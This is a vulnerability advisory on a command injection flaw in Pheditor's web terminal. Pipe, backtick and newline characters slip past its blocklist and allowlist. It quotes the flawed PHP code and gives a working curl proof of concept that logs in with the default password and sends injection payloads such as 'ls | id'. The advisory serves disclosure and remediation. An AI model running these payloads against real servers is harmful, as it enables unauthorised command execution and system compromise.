Pheditor: Incomplete command sanitization in terminal feature allows RCE via pipe operator, backtick substitution, and newline injection

Summary

The terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to shell_exec(). After the fix for GHSA-9643-6xjp-vx57 (which added $ to the blocklist), the characters | (single pipe), ` (backtick), and the newline byte (0x0A) remain unblocked. An authenticated user with the terminal permission (enabled by default) can leverage any of these to bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user.

Details

Tested repository: https://github.com/pheditor/pheditor

Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)

Affected version: Pheditor 2.0.1+

The terminal handler receives $_POST['command'] and passes it to shell_exec() at pheditor.php:586:

$output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd');

The blocklist at pheditor.php:557 checks for &, ;, ||, and $, but does not block |, `, or newline (0x0A):

if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false || strpos($command, '$') !== false) {
    echo json_error("Illegal character(s) in command (& ; ||)\n");
    exit;
}

The TERMINAL_COMMANDS prefix check at pheditor.php:566-573 only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix.

Bypass 1 — Single pipe |: The filter checks for || but not single |. Payload ls | id passes both the blocklist and the whitelist (starts with ls). The shell executes: cd '<dir>' && ls | id && echo \ ; pwd, running id.

Bypass 2 — Backtick `: Backtick is not in the blocklist. Payload echo `id` passes the blocklist and whitelist (starts with echo). The shell executes id inside backtick substitution.

Bypass 3 — Newline 0x0A: A literal newline byte is not in the blocklist. Payload ls\ntouch /tmp/proof (where \n is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command.

PoC

Environment: Any system running PHP 8.x with pheditor.php deployed and shell_exec() enabled.

Setup:

git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &

Authenticate (default password admin):

curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d "pheditor_password=admin" -L > /dev/null
TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')

Bypass 1 (pipe |):

curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls | id" \
  --data-urlencode "dir="

Expected: {"error":false,"message":"OK","result":"uid=... gid=...\n",...} — id output proves RCE.

Bypass 2 (backtick):

curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode 'command=echo `id`' \
  --data-urlencode "dir="

Expected: Same id output in response.

Bypass 3 (newline 0x0A):

curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode $'command=ls\nid' \
  --data-urlencode "dir="

Expected: Same id output in response.

Control (blocked command without bypass):

curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=whoami" \
  --data-urlencode "dir="

Expected: {"error":true,"message":"Command not allowed..."} — allowlist enforced.

Cleanup:

kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt

Impact

OS Command Injection (CWE-78). Any authenticated Pheditor user with the terminal permission (enabled by default) can bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 — that fix addressed $() substitution but three additional shell metacharacters remain unblocked.

Attacker privileges: Authenticated user (PR:L). Combined with default password admin, effectively PR:N.

Impact: Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services).

Suggested remediation: Parse the command into executable + arguments, validate the executable against TERMINAL_COMMANDS with exact match, pass each argument through escapeshellarg(), or use proc_open() with an argument array to avoid shell interpretation entirely.